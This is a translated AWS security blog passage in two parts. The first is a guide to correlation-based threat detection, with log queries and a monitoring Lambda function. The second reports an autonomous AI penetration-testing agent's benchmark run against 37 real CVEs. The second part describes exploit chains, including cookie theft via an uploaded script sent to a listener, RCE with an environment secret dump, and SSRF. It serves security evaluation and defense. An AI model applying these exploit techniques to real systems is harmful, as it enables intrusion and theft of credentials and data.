つのワークロードに関連付けられたキーに対する Decrypt または GenerateDataKey の呼び出しが記録されている 呼び出し元のプリンシパルが、そのワークロードを所有するロールではない CloudTrail ロググループに対して次のクエリを実行し、特定のキーに対して API を呼び出したプリンシパルを一覧表示します。 fields @timestamp, userIdentity.arn, eventName | filter eventSource = "kms.amazonaws.com" | filter eventName in ["Decrypt", "GenerateDataKey", "Encrypt"] | filter resources.0.ARN = "arn:aws:kms:region:account-id:key/your-key-id" | stats count(*) as keyUses by userIdentity.arn, eventName | sort keyUses desc 返された結果を、想定している 1 つのワークロードロールと比較してください。そのキーを使用する想定外のプリンシパルが見つかれば、それがシグナルです。キーの不正使用はデータ窃取の初期段階に見られる行動であり、この相関分析では、所有関係を把握しているお客様にしか検出できないアクティビティをとらえられます。 決済データベースを暗号化しているキーを例に考えてみましょう。通常の運用では決済サービスのロールがこのキーに対して API を呼び出し、それ以外のロールが呼び出すことはないはずです。開発者ロールや新しく作成されたロールがこのキーに対して Decrypt を実行した場合、呼び出しは成功し、単独で見れば通常の操作にしか見えません。これを問題として扱う根拠は、お客様が頭の中で把握している所有ルールであり、このクエリはそれを明文化したものです。 パターン 4: 変更ウィンドウ外での特権アクション まずクエリを確認し、そのうえで意味を読み解いていきましょう。 fields @timestamp, userIdentity.arn, eventName, sourceIPAddress | filter eventName in ["PutRolePolicy", "AttachRolePolicy", "CreateAccessKey", "AuthorizeSecurityGroupIngress", "PutBucketPolicy"] | stats count(*) as sensitiveChanges by userIdentity.arn, eventName, sourceIPAddress | sort sensitiveChanges desc このクエリは CloudTrail ロググループに対して実行します。スケジュール実行する際は対象期間を業務時間外に絞り込み、変更ウィンドウ外のアクティビティだけが返されるようにします。ここで何を正常とみなすかは、お客様の変更プロセスによって決まります。本番環境のセキュリティやアイデンティティに関する変更は、定められた時間帯にパイプラインを通じて、既知のアクターによって実行されます。午前 2 時にコンソールから行われたポリシー変更が、パイプラインではなく人によるものであれば、こうした想定には当てはまりません。シグナルとなるのは、 PutRolePolicy や AuthorizeSecurityGroupIngress などのセキュリティ上重要な変更が、ウィンドウ外に、パイプラインロールではなく人によって行われた場合です。 想定されるアクターは除外してください。例えば、デプロイパイプラインロール、パッチ自動化ロール、 AWS CloudFormation や AWS Systems Manager などの AWS サービスプリンシパルです。残るのは、プロセス外で行われた特権的な変更です。これは攻撃者がアクセスを永続化するために行う行動であると同時に、お客様自身の変更管理の規律に照らして起こるべきではない事象でもあります。 パイプラインは、平日の午後に毎日実行されるデプロイの中でセキュリティグループルールを開放することがあります。一方、週末の深夜に人がセキュリティグループルールを開放する場合は、同じ API コールでも意味がまったく異なります。両者を区別するのは、スケジュールとアクターという、どちらもお客様が定義する事実です。 最初の相関ルールを構築する 以下のウォークスルーでは、パターン 1 を例に、最初から最後までの実装手順を示します。他の 3 つのパターンも、それぞれのクエリを用いて同じ設計に従います。 前提条件 このウォークスルーのクエリに必要なデータを取得するには、以下の前提条件を満たす必要があります。開始する前に、それぞれを確認してください。 管理イベントを CloudWatch Logs ロググループに記録する CloudTrail 証跡があること 機密性の高い S3 バケットで CloudTrail データイベントが有効になっていること GuardDuty が有効で、保護プランと拡張脅威検出も有効になっていること VPC フローログ が本番 VPC で有効になっていること Amazon Route 53 Resolver クエリログ記録 が有効になっていること CloudTrail、GuardDuty、VPC フローログ、Route 53 Resolver クエリログ記録は、相関分析で結び付ける生のシグナルを提供します。これらが有効になっていない場合、この記事のクエリは空の結果を返します。 ステップ 1: バケットと、その読み取りが想定されるプリンシパルを記録する 監視対象とする機密バケットを 1 つ選び、そのバケットの読み取りを許可されたプリンシパルを書き留めます。このリストは、バージョン管理された設定ファイルや Amazon DynamoDB テーブル (マネージド NoSQL データベース) など、自動化の仕組みからアクセスできる場所に保存してください。 { "customer-records-prod": [ "arn:aws:iam::123456789012:role/AnalyticsPipeline", "arn:aws:iam::123456789012:role/ComplianceAudit" ], "financial-data-archive": [ "arn:aws:iam::123456789012:role/FinanceReporting" ] } この例では、わかりやすさを優先してリストをハードコードしています。本番環境では、再デプロイせずに更新できるように、DynamoDB テーブルや Parameter Store からリストを読み込んでください。 ステップ 2: しきい値を設定する前にベースラインを把握する 通常時の 1 週間分のアクティビティに対してパターン 1 のクエリを実行します。そのバケットの読み取り回数の 95 パーセンタイルを求め、それより大きい値をアラートのしきい値として使用します。このステップを踏むことで、正当な大量アクセスが後で誤検知を引き起こすのを防げます。 ステップ 5 で関数を設定する際に、この値を THRESHOLD_READS 環境変数に設定します。 ステップ 3: アクセスクエリを実行する CloudWatch コンソールで、次の操作を行います。 [ログ] 、 [ログのインサイト] の順に選択します。 [ロググループの選択] ドロップダウンで、CloudTrail ロググループを選択します。 時間範囲を [3h] (過去 3 時間) に設定します。 クエリエディタにパターン 1 のクエリを貼り付けます。 your-sensitive-bucket をバケット名に置き換えます。 [クエリの実行] を選択します。 結果テーブルに表示されたプリンシパルを確認します。 各プリンシパルを、ステップ 1 で記録した読み取りが想定されるプリンシパルのリストと照合し、リストに含まれていないものにフラグを付けます。 各結果にはプリンシパルが含まれています。ステップ 4 では、このプリンシパルを IP アドレスに変換します。 ステップ 4: ネットワークアクティビティと相関付ける CloudTrail は AWS Identity and Access Management (IAM) プリンシパル単位でアクションを記録し、VPC フローログは IP アドレス単位でトラフィックを記録します。2 つのシグナルを結び付けるには、プリンシパルを対応する IP アドレスに変換します。 ロールが Amazon Elastic Compute Cloud (Amazon EC2) インスタンスにアタッチされている場合、 userIdentity.principalId フィールドのコロンの後ろにインスタンス ID が含まれます。形式は AROAEXAMPLE:i-1234567890abcdef0 です。このインスタンス ID をコピーし、プライベート IP アドレスを調べます。 aws ec2 describe-instances \ --instance-ids i-1234567890abcdef0 \ --query "Reservations[0].Instances[0].PrivateIpAddress" \ --output text 他のコンピューティングタイプでは方法が異なります。VPC に接続された AWS Lambda 関数は、サブネット内の Elastic Network Interface を経由してトラフィックを送信するため、それらのインターフェイスのアドレスで相関付けます。 Amazon Elastic Container Service (Amazon ECS) タスクの場合、ネットワークインターフェイスはタスクメタデータに記録されます。インスタンスを伴わない通常のロール引き受けセッションの場合は、CloudTrail の sourceIPAddress フィールドに呼び出し元のアドレスが既に記録されているため、それを使って直接相関付けます。 パターン 1 のフローログのクエリを実行し、 srcAddr をそのアドレスでフィルタリングして、Amazon S3 の読み取りタイムスタンプから 10 分以内の範囲に絞り込みます。一致する結果があれば、同じ時間枠内に、同じ送信元が機密データの読み取りと大量の外部転送の両方を行っていることになります。CloudTrail イベントが CloudWatch Logs に到達するのは API コールの 5～15 分後なので、クエリ時刻ではなく eventTime で相関付けてください。また、クエリのルックバック期間は相関付けの時間枠よりも広く取ります。例えば、30～60 分前までさかのぼってクエリを実行しつつ、相関付けは 10 分間の eventTime の時間枠で行います。ステップ 3 と 4 は手動による検証で、ステップ 5 でこれらを自動化します。 図 2 では、DNS の名前解決が 3 つ目の裏付けシグナルとして示されています。このウォークスルーで実装するのは、CloudTrail と VPC フローログの相関分析です。DNS を追加するには、同じ run_query() のパターンを Route 53 Resolver クエリログのロググループに適用してください。 ステップ 5: チェックを自動化する クエリを Lambda 関数 (サーバーを管理せずにコードを実行できるサーバーレスコンピューティング) に移行し、結果を通知チャネルに送信して、定期的に実行されるようにスケジュールを設定します。以下のサブ手順を順に実行してください。 通知チャネルを作成するには Amazon Simple Notification Service (Amazon SNS) コンソールを開きます。Amazon SNS は、サブスクライバーに通知を配信するマネージドメッセージングサービスです。 ナビゲーションペインで、 [トピック] を選択します。 [トピックの作成] を選択します。 [タイプ] で [スタンダード] を選択します。 [名前] に security-correlation-alerts と入力します。 [トピックの作成] を選択します。 トピックの詳細ページの上部に表示されるトピックの Amazon リソースネーム (ARN) を書き留めておきます。この ARN は関数で使用します。 [サブスクリプションの作成] を選択します。 [プロトコル] で [E メール] を選択します。 [エンドポイント] に、 E メール アドレスまたはインシデント管理のエンドポイントを入力します。 [サブスクリプションの作成] を選択し、AWS から届く E メール でサブスクリプションを確認します。 EventBridge Scheduler の実行ロールを作成するには スケジュールには関数を呼び出すためのロールが必要です。また、そのロールの信頼ポリシーには、ロールの利用をお客様が所有するスケジュールに限定する条件が必要です。これらの条件がないと、スケジューラサービスにアクセスできる別のアカウントが、理論上このロールを呼び出せてしまいます。これは「 混乱した代理問題 」として知られる不正使用の一種です。 1. scheduler-trust-policy.json という名前の信頼ポリシーファイルを作成します。 { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "Service": "scheduler.amazonaws.com" }, "Action": "sts:AssumeRole", "Condition": { "StringEquals": { "aws:SourceAccount": "ACCOUNT-ID" }, "ArnLike": { "aws:SourceArn": "arn:aws:scheduler:REGION:ACCOUNT-ID:schedule/*/s3-access-correlation-hourly" } } } ] } 2. ロールを作成し、関数を呼び出すためのアクセス許可をアタッチします。このロールで指定した関数以外を呼び出せないように、 Resource は特定の関数 ARN に限定してください。 aws iam create-role \ --role-name EventBridgeSchedulerRole \ --assume-role-policy-document file://scheduler-trust-policy.json aws iam put-role-policy \ --role-name EventBridgeSchedulerRole \ --policy-name LambdaInvokePolicy \ --policy-document '{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": "lambda:InvokeFunction", "Resource": "arn:aws:lambda:REGION:ACCOUNT-ID:function:CorrelationFunction" } ] }' 関数を作成すると、Lambda によって実行ロールが自動的に作成されます。この関数に必要なアクセス許可は、後の手順でそのロールにアタッチします。 相関関数をデプロイするには Lambda コンソール を開きます。 [関数の作成] を選択します。 [関数名] に CorrelationFunction と入力します。 [ランタイム] で、最新の Python ランタイムを選択します。 [関数の作成] を選択します。 [コード] タブで、デフォルトのコードを次の関数に置き換え、 [デプロイ] を選択します。 import os import time import logging import boto3 from botocore.exceptions import ClientError logger = logging.getLogger() logger.setLevel(logging.INFO) logs = boto3.client("logs") sns = boto3.client("sns") ec2 = boto3.client("ec2") CLOUDTRAIL_LOG_GROUP = os.environ["CLOUDTRAIL_LOG_GROUP"] FLOWLOGS_LOG_GROUP = os.environ["FLOWLOGS_LOG_GROUP"] SNS_TOPIC = os.environ["SNS_TOPIC_ARN"] BUCKET = os.environ["SENSITIVE_BUCKET"] THRESHOLD = int(os.environ.get("THRESHOLD_READS", "100")) # Expected readers per bucket EXPECTED_READERS = { "customer-records-prod": [ "arn:aws:iam::123456789012:role/AnalyticsPipeline", "arn:aws:iam::123456789012:role/ComplianceAudit", ], } def run_query(log_group, query, start, end): """Start a Logs Insights query and wait for it to finish.""" started = logs.start_query( logGroupName=log_group, startTime=start, endTime=end, queryString=query, ) query_id = started["queryId"] while True: outcome = logs.get_query_results(queryId=query_id) if outcome["status"] in ("Complete", "Failed", "Cancelled"): break time.sleep(1) if outcome["status"] != "Complete": raise RuntimeError(f"Query did not complete: {outcome['status']}") return [{f["field"]: f["value"] for f in row} for row in outcome["results"]] def private_ip_for_principal(principal_id): """Resolve an EC2 instance role principalId to its private IP.""" if ":" not in principal_id: return None instance_id = principal_id.split(":", 1)[1] if not instance_id.startswith("i-"): return None reservations = ec2.describe_instances(InstanceIds=[instance_id]) for reservation in reservations["Reservations"]: for instance in reservation["Instances"]: return instance.get("PrivateIpAddress") return None def egress_bytes(src_addr, start, end): """Sum external egress bytes for one source address.""" query = f""" fields srcAddr, dstAddr, bytes | filter action = "ACCEPT" and srcAddr = "{src_addr}" | filter dstAddr not like /^10\\./ and dstAddr not like /^192\\.168\\./ and dstAddr not like /^172\\.(1[6-9]|2[0-9]|3[0-1])\\./ | stats sum(bytes) as totalBytes """ rows = run_query(FLOWLOGS_LOG_GROUP, query, start, end) if rows and rows[0].get("totalBytes"): return int(rows[0]["totalBytes"]) return 0 def lambda_handler(event, context): try: # 1-hour lookback absorbs CloudTrail's 5-15 min delivery latency; # correlation happens on eventTime via 10-min bins in the query below. end = int(time.time()) start = end - 3600 # 1 hour lookback allowed = EXPECTED_READERS.get(BUCKET, []) access_query = f""" fields userIdentity.arn, userIdentity.principalId | filter eventSource = "s3.amazonaws.com" and eventName = "GetObject" | filter requestParameters.bucketName = "{BUCKET}" | stats count(*) as objectReads by userIdentity.arn, userIdentity.principalId, bin(10m) | filter objectReads &gt; {THRESHOLD} """ for row in run_query(CLOUDTRAIL_LOG_GROUP, access_query, start, end): principal = row.get("userIdentity.arn") if not principal or principal in allowed: continue message = ( f"Principal {principal} read {row.get('objectReads')} " f"objects from {BUCKET}." ) ip = private_ip_for_principal(row.get("userIdentity.principalId", "")) if ip and egress_bytes(ip, start, end) &gt; 1_000_000_000: message += ( f" The same source ({ip}) also sent a large volume of " f"data to external destinations in the same window." ) sns.publish( TopicArn=SNS_TOPIC, Subject="Unexpected S3 access detected", Message=message, ) except ClientError as error: logger.error(f"AWS API error: {error}") raise except Exception as error: logger.error(f"Unexpected error: {error}") raise finally: logger.info("Correlation check completed") [設定] タブで [一般設定] を選択し、 [編集] を選択します。 [タイムアウト] を 5 分 (300 秒) に設定します。 CloudWatch Logs Insights のクエリは非同期で実行され、大規模なロググループでは 30～60 秒かかることがあります。 [保存] を選択します。 [設定] タブで [環境変数] を選択し、 [編集] を選択して、 CLOUDTRAIL_LOG_GROUP 、 FLOWLOGS_LOG_GROUP 、 SNS_TOPIC_ARN 、 SENSITIVE_BUCKET 、 THRESHOLD_READS を追加します。 [設定] タブで [アクセス権限] を選択し、実行ロールを開いて、次の最小権限のポリシーをアタッチします。 { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": ["logs:StartQuery", "logs:GetQueryResults"], "Resource": [ "arn:aws:logs:REGION:ACCOUNT-ID:log-group:aws-cloudtrail-logs-my-trail:*", "arn:aws:logs:REGION:ACCOUNT-ID:log-group:vpc-flow-logs:*" ] }, { "Effect": "Allow", "Action": "ec2:DescribeInstances", "Resource": "*" }, { "Effect": "Allow", "Action": "sns:Publish", "Resource": "arn:aws:sns:REGION:ACCOUNT-ID:security-correlation-alerts" } ] } REGION 、 ACCOUNT-ID 、およびロググループ名を実際の値に置き換えてください。 ec2:DescribeInstances アクションはリソースレベルのアクセス許可をサポートしていないため、このステートメントには Resource: "*" が必要です。その他のステートメントは、特定の ARN に限定しています。 自動実行をスケジュールするには Amazon EventBridge (イベントを使用してアプリケーションを接続するサーバーレスのイベントバス) は、スケジュールに従ってターゲットを実行できます。先ほど作成したロールを使用して、コマンドラインからスケジュールを作成します。 aws scheduler create-schedule \ --name s3-access-correlation-hourly \ --schedule-expression "rate(1 hour)" \ --target "Arn=arn:aws:lambda:REGION:ACCOUNT-ID:function:CorrelationFunction,RoleArn=arn:aws:iam::ACCOUNT-ID:role/EventBridgeSchedulerRole" \ --flexible-time-window "Mode=OFF" ステップ 6: エンリッチメント用のコンテキストを追加する (オプション) エンリッチメントは独立したシグナルを追加することでトリアージの時間を短縮しますが、相関分析の動作に必須ではありません。なお、このステップではコストが発生します。地理位置情報プロバイダーに API コールの料金を支払う必要があるほか、Lambda の実行時間が延びる分、Lambda の料金も増加します。IP の地理位置情報を追加するには、地理位置情報 API にサインアップし、次の関数をコードに追加して、ハンドラーが IP を解決する箇所で呼び出します。 import urllib.request import json def geo_context(ip_address): """Enrich an IP address with geolocation data from your provider.""" try: url = f"https://your-geolocation-api.example/json/{ip_address}" with urllib.request.urlopen(url, timeout=5) as response: data = json.load(response) return { "country": data.get("country_name"), "city": data.get("city"), "org": data.get("org"), } except Exception as error: logger.warning(f"Geolocation lookup failed for {ip_address}: {error}") return None ハンドラーのループ内で ip を解決した後に、アラートに位置情報を追加します。 if ip: geo = geo_context(ip) if geo: message += ( f" Source location: {geo['city']}, " f"{geo['country']} ({geo['org']})." ) ステップ 7: 追加のパターンとアカウントへ拡張する 相関ルールのライブラリが大きくなってきたら、EventBridge、Lambda、 AWS Step Functions (複数のサービスをワークフローとして連携させるサーバーレスのオーケストレーションサービス) を使用してロジックを自動化されたパイプラインに移行し、相関分析の結果を Security Hub の検出結果と並べて表示します。大規模なサービス横断の相関分析には、CloudWatch の統合データおよびテレメトリ機能を活用できます。この機能では、セキュリティとコンプライアンスのデータを OCSF 形式に変換し、CloudTrail、VPC フローログ、DNS ログなどのソースを 1 つのインターフェイスからクエリできます。長期的な分析には、Security Lake と Athena の組み合わせが有力な選択肢です。保持期間とクエリの要件に合ったクエリ基盤を選択してください。 図 3 は、EventBridge、Lambda、Step Functions、AWS Security Hub などの AWS サービスで構築した相関分析パイプラインを示しています。このパイプラインでは、データソースからスケジュールされたクエリとエンリッチメントを経て、自動対応と一元的な可視性の確保へとつながります。 図 3: AWS サービスで構築した相関分析パイプライン まとめ この記事では、GuardDuty 拡張脅威検出にビジネスコンテキストを重ね合わせ、お客様の環境に固有の攻撃をとらえる 4 つの相関分析パターンを紹介しました。どの相関分析を構築する場合にも共通する原則がいくつかあります。 アイデンティティが主要な相関キー: 同じプリンシパルを複数のサービスにわたって追跡します。 時間枠が重要 (ただし、攻撃の種類によって異なる): 自動化された高速なシーケンスでは、数分以内に発生したイベントは通常関連しています。この記事で使用した 10 分間のビンは、そのようなパターンに適しています。一方、時間をかけて行われる偵察や手動の偵察は数時間から数日にわたることがあるため、自動化されたパターンとは異なり、じっくりと進められるパターンの場合は、時間枠を広げてください。 コンテキストはお客様が追加するもの: データ分類、通常のアクセスパターン、リソースの所有関係、変更ウィンドウは、お客様が検出に加えるシグナルです。 1 つのルールから始める: 適切にチューニングされた 1 つの相関分析のほうが、相関付けられていない大量のアラートよりも、重要なアクティビティを的確にとらえられます。 GuardDuty 拡張脅威検出は、多くのお客様に共通する多段階のパターンに対処します。この記事の相関分析は、お客様のビジネスコンテキストでしか提供できないレイヤーを追加するものです。今週まず 1 つのパターンから始めてお客様自身のトラフィックで検証し、信頼性を確認できたら次のパターンを追加してください。 参考資料 Amazon GuardDuty 拡張脅威検出 – GuardDuty が多段階攻撃のパターンを自動的に相関付ける仕組み CloudWatch Logs Insights のクエリ構文 – この記事で使用しているクエリ言語のリファレンス AWS CloudTrail によるデータイベントのログ記録 – パターンが依存する Amazon S3 データイベントを有効にする CloudWatch Logs への CloudTrail イベントの送信 – クエリ可能なロググループに証跡を配信する 組織の証跡の作成 – AWS Organizations 内のすべてのアカウントのイベントを単一のロググループに配信する VPC フローログ – ネットワークトラフィックのシグナルに関するフィールドリファレンス Amazon Route 53 Resolver クエリログ記録 – 裏付けに使用する DNS シグナルをキャプチャする MITRE ATT&amp;CK – 攻撃の戦術と手法に関する業界フレームワーク Open Cybersecurity Schema Framework (OCSF) – Security Lake が使用するスキーマ &nbsp; Nisha Kashyap Nisha Kashyap は AWS の Senior Support Security Engineer です。脅威検出とセキュリティ運用を担当しています。お客様がセキュリティイベントを調査し、複数の AWS サービスにまたがるシグナルを結び付けてお客様自身の環境を反映した検出の仕組みを構築できるよう支援しています。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

本ブログは 2026 年 10 月 15 日に公開された AWS Blog “ AWS Security Agent (now part of AWS Continuum) exploited 33 of 37 new real-world CVEs ” を翻訳したものです。 AWS は、自律型ペネトレーションテストエージェントである AWS Security Agent (now part of AWS Continuum) を、最近公開された実在の CVE (Common Vulnerabilities and Exposures) 37 件に適用しました。各 CVE は、脆弱性の意図されたシンクにフラグを隠した、稼働中のコンテナ化されたターゲットとしてパッケージ化されています。エージェントは、認証なし、または低権限の状態から開始します。与えられるのはエンドポイント URL と 1 行のヒントのみで、エクスプロイトや概念実証 (PoC) はありません。この条件で、脆弱性を発見し、動作するエクスプロイトを構築し、必要に応じてプリミティブを連鎖させ、フラグを抽出する必要がありました。 結果 37 件中 35 件のフラグを取得しました。 37 件中 33 件 (89.2%) は、 意図された 脆弱性をエンドツーエンドでエクスプロイトして取得しました。 各チャレンジの正規の PoC と照合するサンプル単位の整合性監査で確認済みです。 2 件の取得を再分類しました。 整合性監査の結果、2 件の取得は意図された経路以外によるものと判明したため、該当チャレンジを強化したうえで、未解決として扱っています。 2 件は取得に失敗しました。 いずれもエージェントはバグを発見してエクスプロイトしましたが、フラグを読み取る前にターゲットをダウンさせてしまいました。本番環境での作業を統制する非破壊的なガードレールにより、こうした事態がお客様のシステムで発生することを防いでいます。 注: この 2 件の取得と 2 件の失敗の詳細は、本記事の後半で説明します。 対象となるソフトウェアは、お客様のサービスが実際に動作させているものと同種です。Web フレームワーク、コンテナレジストリ、機械学習 (ML) および AI プラットフォーム、E コマーススタック、tRPC API、複数のメディアプラットフォーム、LDAP 管理コンソールなどが含まれます。脆弱性クラスは 8 つあり、SQL インジェクションやサーバーサイドリクエストフォージェリ (SSRF) から、複数ステップのクロスサイトスクリプティング (XSS) による管理者クッキー窃取の連鎖まで多岐にわたります。本記事で説明する結果はすべて、バグレポートからではなく低権限の状態から開始し、動作するエクスプロイトによって取得したフラグです。 新しいベンチマークを構築した理由 公開されている CVE ベースのエージェントベンチマークは、実在するコンテナ化された脆弱なソフトウェアに対してエージェントを実行できる点で、確かな意義があります。一方で、コンタミネーション (学習データへの混入) のない状態を保てないという弱点があります。CVEBench や XBOW のようなスイートは、事実上飽和状態にあります。バグとその解説記事が学習データに含まれると、現在のモデルはそれらの脆弱性を認識し、ほぼ即座にフラグを取得してしまうためです。 キュレーションされたベンチマークは、ある時点のスナップショットです。CVE が選定され、エクスプロイトの解説記事が公開されるのは一度きりです。そのため、スナップショットが論文として発表されるころには、フロンティアモデルがそれらの解説記事や公開されている PoC を学習済みである可能性が非常に高くなります。それ以降、スコアには本来別々に測定すべき 2 つの要素が混在します。エージェントがバグを実際にエクスプロイトできるかどうかと、モデルが既に答えを記憶しているかどうかです。スコアが示す指標としての有効性は、月を追うごとに低下していきます。 そこで AWS は、公開されているスイートと同じ考え方に基づきながら、新たに公開された脆弱性を継続的に取り込む、独自開発の CTF (Capture The Flag) 形式の最新 CVE ベンチマークを構築しました。このベンチマークは、今四半期に実運用環境で発生している脆弱性クラスを追跡し、CVE の公開と同じペースで拡大していきます。 AWS は、コンタミネーションが入り込む 2 つの経路の両方に対処しています。1 つ目は記憶の経路で、鮮度の高さによって遮断します。チャレンジは、エンドツーエンドの解法がモデルの学習データに含まれている可能性が低い程度に、最近公開された CVE から選定しています。2 つ目は取得の経路で、ランタイムでの CVE 検索を無効化して遮断します。エージェントはエクスプロイトの最中に公開済みの PoC を取得できないため、ターゲットの情報のみを基に動作します。この 2 つの対策は独立しています。一方はモデルが解法を記憶していることへの対策であり、もう一方は新たに解法を取得することへの対策です。いずれも単独では完全な保証にはなりません。最近公開された CVE であっても、セキュリティアドバイザリや部分的な議論、断片的な PoC として学習データに紛れ込む可能性があります。そのため AWS はこのベンチマークを、「コンタミネーションフリー」ではなく「コンタミネーション低減」として報告しています。 「今後の展開」 で触れている取り組みにより、コンタミネーションはさらに低減される予定です。 注 (これまでの数値について): AWS は、CVE-Bench のような確立された公開スイートに対する AWS Security Agent の CVE ベンチマーク結果を 以前報告しています 。本ベンチマークはこれとは異なる尺度で、コンタミネーションを低減し、継続的に更新し、取得ごとに監査します。両者は同じ内容の再掲ではなく、補完的なものとしてとらえてください。 データセットの概要 各チャレンジは、自己完結したパッケージです。 ライブターゲット : 隔離されたサンドボックス内で docker-compose から起動し、影響を受けるバージョンの実際のアップストリームソフトウェア (または忠実な最小限の再現環境) を実行します。 意図されたシンクに配置されたフラグ : データベースの行、管理者のセッションクッキー、内部専用の設定 API、またはそのバグを経由した場合のみ到達できるファイルなどです。脆弱性をエクスプロイトしない限り、フラグを読み取ることはできません。 正規の PoC : 想定された解法を記述したものです。エージェントには一切公開せず、AWS が取得結果を監査する目的でのみ使用します。 最小限のメタデータ : エンドポイント URL、初期認証情報 (ある場合)、1 行のヒントなどです。 今回のサンプルは、2025～2026 年の CVE 37 件です。幅広い脆弱性クラスを対象とし、設定ミスの発見だけでは解けず、実際のエクスプロイトを必要とするものを選定しています。 実行の流れ ベンチマーク内のすべての CVE は同一の固定パイプラインで実行されるため、脆弱性クラスや集計の切り口が異なっていても、結果を比較できます。 図 1: CVE パイプライン 各実行は、次の 7 つのステージで進みます。 ターゲットの起動: 隔離されたサンドボックス内で docker-compose からチャレンジを起動し、意図されたシンクにフラグを配置します。 偵察と発見 : クローラーが、ターゲットのアタックサーフェス (エンドポイント、パラメータ、エントリポイント) をマッピングします。 専門エージェント: 多数の専門エージェントがマッピングされたサーフェスを調査し、リスクの候補を挙げます。 検出結果と検証機能: エクスプロイトを試行する前に、各リスク候補を確認または却下します。 エクスプロイトエージェント: エージェントは、シェル、Python ランタイム、実際のブラウザ、アウトオブバンド (OOB) コールバックリスナーを使用してエクスプロイトを試行します。 フラグの確認: 配置したフラグがエージェントの出力のどこかに現れれば、そのサンプルは取得済みとなります。現れない場合、エクスプロイトエージェントは 10 時間の制限時間が終了するまで試行を続けます。 整合性監査: すべての取得結果について、手動とツールの両方で再確認します。エージェントのトラジェクトリ (実行履歴) を正規の PoC と比較し、意図された脆弱性が実際にエクスプロイトされたことを確かめます。 結果の数値 次の表と図は、Claude Opus 5 上で、サンプルごとに 10 時間の制限を設けて実行した、37 件の CVE (1 エポック) のフルランの結果を示しています。 結果 件数 取得したフラグ数 37 件中 35 件 実際のエンドツーエンドのエクスプロイト (意図された脆弱性、監査済み) 37 件中 33 件 (89.2%) 整合性監査により再分類 (ベンチマークの不備、修正済み) 2 実際の取得失敗 2 対象の脆弱性クラス数 8 複数ステップの連鎖エクスプロイトにより自律的にフラグを取得した件数 6 件超 取得までの所要時間 (中央値) 約 4 時間 次の図は、脆弱性クラス別のベンチマークのカバレッジを示しています。 図 2: 脆弱性クラス別のベンチマークのカバレッジ (結果別に色分け) 次の図に示すとおり、整合性監査後の実行結果では、37 件中 33 件 (89.2%) で、意図された脆弱性を利用してフラグを取得したことが確認されました。 図 3: 整合性監査後の実行結果: 89.2% が意図された脆弱性による取得 (37 件中 33 件) 脆弱性クラス別のカバレッジ 次の表は、37 件の CVE を脆弱性クラス別に分類し、各クラスのチャレンジ数と、整合性監査後にエージェントが意図された脆弱性を利用して実際にエンドツーエンドで取得した数を示しています。失敗と再分類は 3 つのクラスに集中しており、それ以外のクラスはすべて取得できています。 脆弱性クラス CVE 数 実際の取得数 注記 リモートコード実行 (RCE) につながるコマンドインジェクションまたはコードインジェクション 7 7 JavaScript、OS コマンド、フレームワークのコード実行経路 管理者のクッキーを窃取するために使用されたクロスサイトスクリプティング (XSS) 6 6 格納型、SVG、markdown の XSS。管理者ボットと OOB リスナーを介して情報を持ち出し 認証またはアクセス制御の不備 5 5 機能レベルの認可の不備 (BFLA)、安全でない直接オブジェクト参照 (IDOR)、デフォルト認証情報、API ゲートウェイのバイパス SQL インジェクション 5 4 1 件は再分類 (デバッグページからの情報漏えい。監査結果を参照) SSRF 4 3 1 件は再分類 (ネットワークトポロジの不備) ビジネスロジック、クロスサイトリクエストフォージェリ (CSRF)、または検査時と使用時の競合 (TOCTOU) 3 3 投票の改ざん、管理者ボットに対する CSRF、認証の競合状態 RCE につながるファイルアップロード 3 1 2 件は失敗。エクスプロイトの最中にエージェントがターゲットをダウンさせた パストラバーサルまたはローカルファイルインクルージョン (LFI) 2 2 &nbsp; サービス拒否に起因する情報漏えい 2 2 アプリケーションをクラッシュさせると、モニタがインシデントのシークレットを開示する 合計 37 33 &nbsp; 注目すべき 3 件の取得事例 集計値からはエージェントがどのくらいの頻度で成功するかはわかりますが、その理由まではわかりません。以下の 3 件の取得事例は、その幅広さを示すために選びました。1 件目は自律的に組み立てられた長い複数ステップの連鎖です。残る 2 件は、既知のペイロードを再生するのではなく、エージェントが障害を越えるために推論を要したエクスプロイトです。いずれも、エンドポイントと 1 行のヒントのみを基にエージェントが取り組んだ、ライブターゲットに対する監査済みのエンドツーエンドの取得です。 6 つのプリミティブからなる完全自律型の連鎖 攻撃対象は、オープンソースのコンテンツ管理システム (CMS) でした。エージェントは、メインのアップローダーとは異なり、CSRF トークンの検証も拡張子チェックも行わない 2 つ目のファイルアップロードエンドポイントを見つけました。これを悪用して、管理者アカウントを完全に侵害しました。次の図に示すとおりです。 図 4: ワークフロー図 取得時のトラジェクトリからの引用です (エンドポイントとペイロードは非表示)。 「セカンダリのドロップゾーンアップロードハンドラー (CSRF トークンなし、拡張子やコンテンツの検証もなし) を悪用して、HTML ページをアップロードしました。コアのアップローダーはこれを拒否しますが、この別経路のシンクは拒否しません。ファイルは同一オリジンで配信され、 document.cookie をエージェントの OOB リスナーへ送信するスクリプトが含まれています」 偵察、プリミティブの発見、ツールのオーケストレーション (アップロード、リスナー、ボットのトリガー)、エクスプロイト後の抽出は、いずれもテンプレートを用いず、エージェント自身が選択しました。 未認証の RCE から root 権限へ 攻撃対象は、AI ワークフロービルダーでした。エージェントは、インポート時にクラス本体がシェルコマンドを実行するカスタムコンポーネントを投稿しました。続いて、プロセスの環境変数から直接フラグを読み取り、次の結果を返しました。 tool result: uid=1000(user) gid=0(root) groups=0(root) … ENV_SECRETS: … FLAG=flag{...} わずか 1 回のリクエストで、root グループのプロセスとしての任意コード実行と、環境変数の完全なダンプが可能になりました。エージェントはコード実行が可能なサーフェスを見抜き、それを悪用して、シークレットをエンドツーエンドで取得しました。 tRPC API を介した、レスポンス全体を読み取れる SSRF 攻撃対象は、セルフホストのダッシュボードアプリでした。tRPC の ping 形式のプロシージャが、攻撃者が自由に指定できる URL を受け取り、アップストリームのレスポンスボディをそのまま返していました。エージェントはこれを使って内部ホストを列挙し、自身のコンテナからは直接到達できない内部専用のエンドポイントに到達しました。 exploit (endpoint redacted): a GET to the vulnerable tRPC procedure with an attacker-controlled internal url → tool result: secret 200 flag{...} (エクスプロイトの内容: 攻撃者が指定した内部 URL を使い、脆弱な tRPC プロシージャに GET リクエストを送信 (エンドポイントは非公開) → ツールの結果: secret 200 flag{...} ) フラグは、ターゲット自身のサーバーサイドの fetch 処理を経由して返されました。これは、意図された SSRF 